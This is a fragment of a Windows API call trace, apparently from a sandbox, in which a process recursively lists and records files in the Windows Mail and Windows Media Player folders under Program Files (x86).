(lpString1="wabmig.exe", lpString2=".") returned 1 [0031.579] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.579] lstrlenW (lpString="wabmig.exe") returned 10 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0031.579] lstrcpyW (in: lpString1=0x25e7d28, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.579] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0031.579] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0031.579] lstrlenW (lpString="WinMail.exe") returned 11 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0031.579] lstrcpyW (in: lpString1=0x25e7d90, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.579] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.579] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.579] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0031.579] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.579] lstrlenW (lpString="Windows Media Player") returned 20 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0031.579] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.579] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0031.579] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.579] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.579] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.579] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.579] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.579] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.580] lstrlenW (lpString="en-US") returned 5 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0031.580] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.580] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0031.580] lstrcpyW (in: lpString1=0x25e2600, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0031.580] lstrcpyW (in: lpString1=0x25e7df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0031.580] lstrcpyW (in: lpString1=0x25e7e88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0031.580] lstrcpyW (in: lpString1=0x25e7f18, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0031.580] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.580] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0031.580] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0031.580] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.580] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0031.580] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0031.581] lstrcpyW (in: lpString1=0x25e7fa8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0031.581] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.581] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0031.581] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.581] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0031.581] lstrcpyW (in: lpString1=0x25e8040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0031.581] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.581] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0031.581] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.581] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0031.581] lstrcpyW (in: lpString1=0x25e80d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0031.581] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.581] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0031.581] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.581] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0031.581] lstrcpyW (in: lpString1=0x25e8170, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0031.581] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.581] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0031.581] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0031.581] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0031.581] lstrcpyW (in: lpString1=0x25e8200, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0031.581] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.581] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.581] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.581] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0031.581] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.581] lstrlenW (lpString="Icons") returned 5 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0031.581] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0031.581] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0031.581] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.582] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.582] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.582] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.582] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.582] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0031.582] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0031.582] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0031.582] lstrlenW (lpString="Media Renderer") returned 14 [0031.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0031.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0031.582] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0031.582] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.582] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.582] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.582] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0031.582] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0031.582] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.582] lstrlenW (lpString="avtransport.xml") returned 15 [0031.582] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0031.583] lstrcpyW (in: lpString1=0x25e8290, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0031.583] lstrcpyW (in: lpString1=0x25e8330, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="DMR_120.jpg") returned 11 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0031.583] lstrcpyW (in: lpString1=0x25e83e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="DMR_120.png") returned 11 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0031.583] lstrcpyW (in: lpString1=0x25e8480, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="DMR_48.jpg") returned 10 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0031.583] lstrcpyW (in: lpString1=0x25e8518, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="DMR_48.png") returned 10 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0031.583] lstrcpyW (in: lpString1=0x25e85b0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.583] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0031.583] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0031.583] lstrlenW (lpString="RenderingControl.xml") returned 20 [0031.583] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0031.583] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0031.583] lstrcpyW (in: lpString1=0x25e8648, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0031.583] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 